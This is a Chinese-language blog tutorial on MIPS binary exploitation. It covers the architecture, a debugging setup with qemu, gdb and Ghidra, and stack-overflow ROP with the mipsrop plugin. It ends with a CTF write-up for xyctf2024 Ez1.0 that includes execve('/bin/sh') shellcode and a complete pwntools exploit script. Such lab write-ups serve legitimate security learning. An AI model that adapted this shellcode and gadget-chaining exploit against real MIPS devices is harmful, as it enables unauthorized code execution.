mips_pwn

collectcrop Lv3

一、mips架构概述

1.寄存器
寄存器 别名 用途
$0 $zero 常量0
$1 $at 保留给汇编器(Assembler Temporary)。在汇编过程中用于一些临时计算,程序员不应直接使用。
$2-$3 \(v0-\)v1 用于存储函数的返回值。
$4-$7 \(a0-\)a3 函数调用参数,用于传递最多 4 个函数参数。
$8-$15 \(t0-\)t7 临时寄存器。用于函数内部的临时计算,不需要保存其值。
$16-$23 \(s0-\)s7 保存寄存器。用于保存函数调用期间的值,调用函数时需要保留的值。
$24-$25 \(t8-\)t9 临时寄存器。与 $t0-$t7 类似,但通常不需要在函数调用中保存其值。
$26-$27 \(k0-\)k1 保留给操作系统内核。通常用于内核中进行系统调用或中断处理。
$28 $gp 全局指针。指向全局数据区域的基地址,便于访问全局变量。
$29 $sp 堆栈指针。指向当前堆栈的顶部,用于管理函数调用和局部变量。
$30 \(fp(\)s8) 帧指针。指向当前栈帧的基地址,通常用于访问局部变量和参数。
$31 $ra 返回地址。用于存储函数调用的返回地址,在函数调用时保存,并在函数返回时使用。
PC PC 保存当前正在执行的指令的地址,并在每次指令执行后自动递增,以指向下一条指令的地址。

mips架构中的fp寄存器相当于rbp,pc寄存器相当于rip。

2.特征
  • mips架构由于本身特性不支持nx,所以栈段具有执行权限

  • MIPS 处理器通常将指令缓存(I-cache)和数据缓存(D-cache)分开,这有助于提高访问效率和减少缓存冲突。

  • 所有 MIPS 指令都具有固定的 32 位长度,这使得指令解码更加简单和高效。

  • MIPS 默认使用大端字节序,即最显著字节存储在最低地址。虽然 MIPS 也支持小端字节序,但大端字节序是 MIPS 的传统配置。

  • 三种主要指令格式:

    • R 型:用于寄存器间操作(算术、逻辑等),例如 addsub
    • I 型:用于立即数操作、加载和存储、分支等,例如 addilw
    • J 型:用于跳转,例如 jjal
  • 流水线操作

    MIPS架构采用了流水线技术来提高指令执行的效率。流水线允许处理器同时处理多条指令的不同部分,从而大幅提高吞吐量。

    常见的MIPS芯片流水线操作分为五个阶段:

    • IF(Instruction Fetch,指令提取):从内存中提取指令。
    • ID(Instruction Decode,指令解码):对提取的指令进行解码,确定需要执行的操作。
    • EX(Execute,执行):执行指令,包括算术运算、逻辑运算等。
    • MEM(Memory Access,存储器访问):访问内存,读取或写入数据。
    • WB(Write Back,寄存器写回):将执行结果写回寄存器。

    在理想情况下,流水线中的每个阶段都会同时进行,使得处理器可以每个时钟周期执行一条新指令。然而,由于某些指令的执行需要更多的时间,可能会导致流水线暂停(称为“流水线停顿”),从而影响性能。

    分支延迟槽

    MIPS架构有一个特殊的概念叫分支延迟槽。当程序遇到分支指令(如跳转指令)时,程序会跳转到新的地址去执行新指令。然而,由于流水线的设计,紧接在分支指令之后的指令已经在流水线中开始执行了。为了避免浪费,MIPS架构规定,分支后的第一条指令(即位于分支延迟槽中的指令)会在跳转之前执行

    这意味着,在编写MIPS汇编代码或分析MIPS的二进制文件时,需要特别注意分支延迟槽的存在。例如,在以下MIPS汇编代码中:

    1
    2
    3
    .text:0007F944    move    $t9, $s0
    .text:0007F948 jalr $t9
    .text:0007F94C move $a0, $s1

    虽然jalr指令是一个跳转指令,但紧接在其后的move $a0, $s1指令会在跳转之前执行。

    一般而言跳转指令的下一条指令会是nop,但这种行为在查找利用漏洞的gadgets以及构造payload时非常重要。

3.指令格式

op:指令基本操作,称为操作码。 rs:第一个源操作数寄存器。 rt:第二个源操作数寄存器。 rd:存放操作结果的目的操作数。 shamt:位移量; funct:函数,这个字段选择op操作的某个特定变体。

32位长度分配如下

R格式

6 5 5 5 5 6
op rs rt rd shamt funct

用于寄存器间操作(算术、逻辑等),例如 addsub

I格式

6 5 5 16
op rs rt 立即数操作

用于立即数操作、加载和存储、分支等,例如 addilw

J格式

6 26
op 跳转地址

用于跳转,例如 jjal

4.常用指令
指令 功能 语法 示例 解释
add 加法(有符号) add $rd, $rs, $rt add $t0, $t1, $t2 $t1$t2 的值相加,结果存储在 $t0 中。
addu 加法(无符号) addu $rd, $rs, $rt addu $t0, $t1, $t2 $t1$t2 的值相加(无符号),结果存储在 $t0 中。
sub 减法(有符号) sub $rd, $rs, $rt sub $t0, $t1, $t2 $t1 的值减去 $t2 的值,结果存储在 $t0 中。
subu 减法(无符号) subu $rd, $rs, $rt subu $t0, $t1, $t2 $t1 的值减去 $t2 的值(无符号),结果存储在 $t0 中。
and 按位与 and $rd, $rs, $rt and $t0, $t1, $t2 $t1$t2 的值按位与,结果存储在 $t0 中。
or 按位或 or $rd, $rs, $rt or $t0, $t1, $t2 $t1$t2 的值按位或,结果存储在 $t0 中。
xor 按位异或 xor $rd, $rs, $rt xor $t0, $t1, $t2 $t1$t2 的值按位异或,结果存储在 $t0 中。
nor 按位与非 nor $rd, $rs, $rt nor $t0, $t1, $t2 $t1$t2 的值按位与非,结果存储在 $t0 中。
sll 左移 sll $rd, $rt, shamt sll $t0, $t1, 2 $t1 的值左移 2 位,结果存储在 $t0 中。
srl 逻辑右移 srl $rd, $rt, shamt srl $t0, $t1, 2 $t1 的值右移 2 位,结果存储在 $t0 中。
sra 算术右移 sra $rd, $rt, shamt sra $t0, $t1, 2 $t1 的值算术右移 2 位,结果存储在 $t0
lw 加载字(32 位) lw $rt, offset($rs) lw $t0, 4($a0) 从地址 $a0 + 4 处加载 4 字节数据到 $t0
sw 存储字(32 位) sw $rt, offset($rs) sw $t0, 4($a0) $t0 中的数据存储到地址 $a0 + 4 处。
lb 加载字节(8 位) lb $rt, offset($rs) lb $t0, 0($a0) 从地址 $a0 处加载 1 字节数据到 $t0
sb 存储字节(8 位) sb $rt, offset($rs) sb $t0, 0($a0) $t0 中的 1 字节数据存储到地址 $a0 处。
lui 加载上半字(立即数) lui $rt, imm lui $t0, 0x1234 将立即数 0x1234 加载到 $t0 的高 16 位(低 16 位为 0)。
ori 立即数按位或 ori $rt, $rs, imm ori $t0, $t1, 0xFF $t1 和立即数 0xFF 按位或,结果存储在 $t0 中。
beq 等于分支 beq $rs, $rt, offset beq $t0, $t1, label 如果 $t0 等于 $t1,则跳转到 label
bne 不等于分支 bne $rs, $rt, offset bne $t0, $t1, label 如果 $t0 不等于 $t1,则跳转到 label
j 无条件跳转 j target j label 跳转到 label 处。
jal 跳转并链接 jal target jal subroutine 跳转到 subroutine,并将返回地址存储在 $ra 寄存器中。
jr 跳转寄存器 jr $rs jr $ra 跳转到 $ra 寄存器中存储的地址。
nop 空操作 nop nop 什么也不做,通常用于填充延迟槽。
1
or         s8,sp,zero		#实现了x86架构中的mov功能,相当于mov s8,sp
5.MIPS栈帧结构

典型的MIPS栈帧结构包括以下部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+-------------------------+ <-- 栈顶(高地址)
| 返回地址($ra) | 保存调用者的返回地址
+-------------------------+
| 上一个栈帧的栈指针 | 保存调用者的栈底指针($fp)
+-------------------------+
| 函数参数(如果需要) | 超过寄存器数量的函数参数存放在栈中
+-------------------------+
| 局部变量 | 局部变量、临时数据等
+-------------------------+
| ... | 其他数据
+-------------------------+
| |
| 栈空闲区 |
| |
+-------------------------+ <-- 栈底(低地址)

MIPS架构中的栈通常是向下增长的,这意味着随着栈的推进,栈顶指针($sp)的值会递减。其中局部变量的寻址是通过\(sp或\)fp进行的。

mips函数调用基本格式,其中分为叶子函数和非叶子函数,一般pwn题中做的都是非叶子函数,因为main函数之前程序还会执行其他初始化函数。

叶子函数非叶子函数的主要区别在于它们是否调用其他函数:

  • 叶子函数
    • 定义:叶子函数是指在其内部不调用任何其他函数的函数。
    • 特点
      • 由于不调用其他函数,因此不需要保存和恢复返回地址(即$ra寄存器的值)。
      • 叶子函数通常不需要额外的栈操作,因为它不需要保存其他函数的返回地址或其他寄存器的值。
      • 返回时直接使用jr $ra指令跳转回调用者。
  • 非叶子函数
    • 定义:非叶子函数是指在其内部会调用其他函数的函数。
    • 特点
      • 由于可能调用其他函数,需要保存当前函数的返回地址(存储在$ra寄存器中)到栈中,以防止被覆盖。
      • 非叶子函数通常需要调整栈指针($sp)并保存调用者的返回地址、寄存器状态等信息。
      • 在返回时,需要从栈中恢复保存的返回地址和寄存器状态,然后使用jr $ra指令返回到调用者。

简而言之,叶子函数不会调用其他函数,因此对栈的操作较少;而非叶子函数会调用其他函数,因此需要处理更多的栈操作来保存和恢复状态。

非叶子函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#Prologue
addiu sp,sp,-0x60 #栈上开辟空间
sw ra,local_4 (sp) #存返回地址
sw s8,local_8 (sp) #存该函数的栈底
or s8,sp,zero
lui gp,0x4a
addiu gp,gp,-0x5d50 #设置全局变量的指针
sw gp=>_gp ,local_50 (sp)
...
#Epilogue
lw gp,local_50 (s8)
or v0,zero ,zero
or sp,s8,zero
lw ra,local_4 (sp)
lw s8,local_8 (sp)
addiu sp,sp,0x60
jr ra
...
#args offered
li a2,0x100 #size
addiu v0,s8,0x18
or a1,v0,zero #buf
or a0,zero ,zero #fd
lw v0,-0x7f90 (gp) =>->read
or t9,v0,zero
bal read

叶子函数:

1
2
3
4
# 执行函数B的任务
# 不调用其他函数
# 直接返回
jr $ra

二、mips环境搭建

1.安装qemu
1
2
3
sudo apt install qemu
#check if qemu existed
qemu --version
2.安装gdb-multiarch
1
2
3
sudo apt install gdb-multiarch
#check if gdb-multiarch downloaded successfully
gdb-multiarch --version
3.安装ghidra

用于反编译mips指令,吾爱提供的有些IDA只包含x86和x64的Hex-Rays Decompiler插件

ghidra下载地址:https://github.com/NationalSecurityAgency/ghidra/releases

运行ghidra还需要JDK17及以上的环境

jdk下载地址:https://adoptium.net/zh-CN/

启动 Ghidra

  • Windows

    • 进入 Ghidra 的安装目录,双击 ghidraRun.bat 文件启动 Ghidra。
  • Linux/macOS

    • 打开终端,导航到 Ghidra 的安装目录,然后运行以下命令启动 Ghidra:

      1
      ./ghidraRun

初次运行设置

  • Ghidra 启动后会提示你设置用户目录,你可以选择默认路径或自定义路径。
  • 阅读并接受用户协议后,Ghidra 会启动并显示主界面。
4.安装IDA插件mipsrop

这里我用的是吾爱的IDA_Pro_v8.3_Portable,其他版本情况可能会有不同。

1
git clone https://github.com/devttys0/ida.git ida-plugins

mipsrop.py在 ida-plugins/plugins/mipsrop目录下,将其复制进IDA的plugins目录即可

可能遇到的问题

在ida-plugins/plugins目录下还有个shims文件夹,将其也复制到IDA的plugins目录就行。

5.调试方法
1
qemu-mipsel-static -g 6666 -L ./ ./program		#开的端口是6666

之后用gdb连接

1
2
gdb-multiarch program
pwndbg> target remote 127.0.0.1:6666

在python写pwn利用脚本过程中,可以在在process中指定打开的端口,然后附加到gdb时就可以连接。

1
2
3
4
5
6
7
8
programe = 'your_program'
p = process(["qemu-mipsel-static", "-g", "6666", "-L", "./", program])
gdb.attach(p,f'''
file {program}
target remote 127.0.0.1:6666
b main
c
''')

三、mips的一些栈上漏洞利用

这里以32位的mips(o32 ABI)为例,其余原理相同。

1.栈溢出+syscall

如果一个函数是非叶子函数,则其返回地址也会出现在栈上,最后会读取该地址并返回,类似于x86架构,那我们就可以覆盖返回地址实现ROP,mips架构中比较麻烦的是寻找gadget,这里我们用的是IDA的mipsrop插件。

由于mips架构是没有NX保护的,其实我们可以把shellcode写到栈上后想办法跳转到shellcode处执行。

我们可以先用mipsrop.stackfinders()这个方法来获取能把栈相关地址写到某个寄存器的gadget,然后定位到control jump中为jalr \(fp的那个,因为\)fp也是一个栈相关的地址,正好位于返回地址向低地址偏移4字节处,如果能栈溢出的话也能进行控制$fp位置的内容。

然后既然能控制\(a2寄存器的值为一个栈上的可控地址,那么只要我们再找到一个能跳转到\)a2的gadget,将其写入$fp的位置处,就能实现ret2syscall。move $t9,reg后面一般都会找到对应的跳转语句。

之后就可以手搓execve系统调用的shellcode了,系统调用号可以在https://syscalls.w3challs.com/?arch=mips_o32这查,v0存系统调用号,a0,a1,a2分别存三个参数,可以通过将字符串写到栈顶,在把参数指向$sp,就能实现字符参数的传递了。

1
2
3
4
5
6
7
8
9
10
11
12
13
shellcode = """
li $v0,0xfab
li $t0,0x0068732f
li $t1,0x6e69622f
addi $sp,$sp,-4
sw $t0, 0($sp)
addi $sp,$sp,-4
sw $t1, 0($sp)
or $a0,$sp,$zero
or $a1,$zero,$zero
or $a2,$zero,$zero
syscall
"""

这里需要注意的一点是execve的第一个参数最好是/bin/sh,如果图方便只传进去一个sh,因为后面的环境变量参数置零了,很可能会找不到sh报警告,继续向下执行。

四、题目复现

[xyctf2024]Ez1.0

非常简单粗暴的栈溢出,根据上述漏洞利用原理构造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch="mips",log_level="debug")

program = "./mips"
p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", program])
gdb.attach(p,f'''
file {program}
target remote 127.0.0.1:2333
b main
c
''')

gadget1 = 0x00427968
gadget2 = 0x0041FBF4
shellcode = """
li $v0,0xfab
li $t0,0x0068732f
li $t1,0x6e69622f
addi $sp,$sp,-4
sw $t0, 0($sp)
addi $sp,$sp,-4
sw $t1, 0($sp)
or $a0,$sp,$zero
or $a1,$zero,$zero
or $a2,$zero,$zero
syscall

"""
#shellcode = shellcraft.sh()
payload = asm(shellcode).ljust(0x40,b"A") + p32(gadget2) + p32(gadget1) + b"A"*0x58 + asm(shellcode)
p.sendline(payload)
p.interactive()
  • 标题: mips_pwn
  • 作者: collectcrop
  • 创建于 : 2024-09-21 18:03:16
  • 更新于 : 2024-09-21 18:53:29
  • 链接: https://collectcrop.github.io/2024/09/21/mips-pwn/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。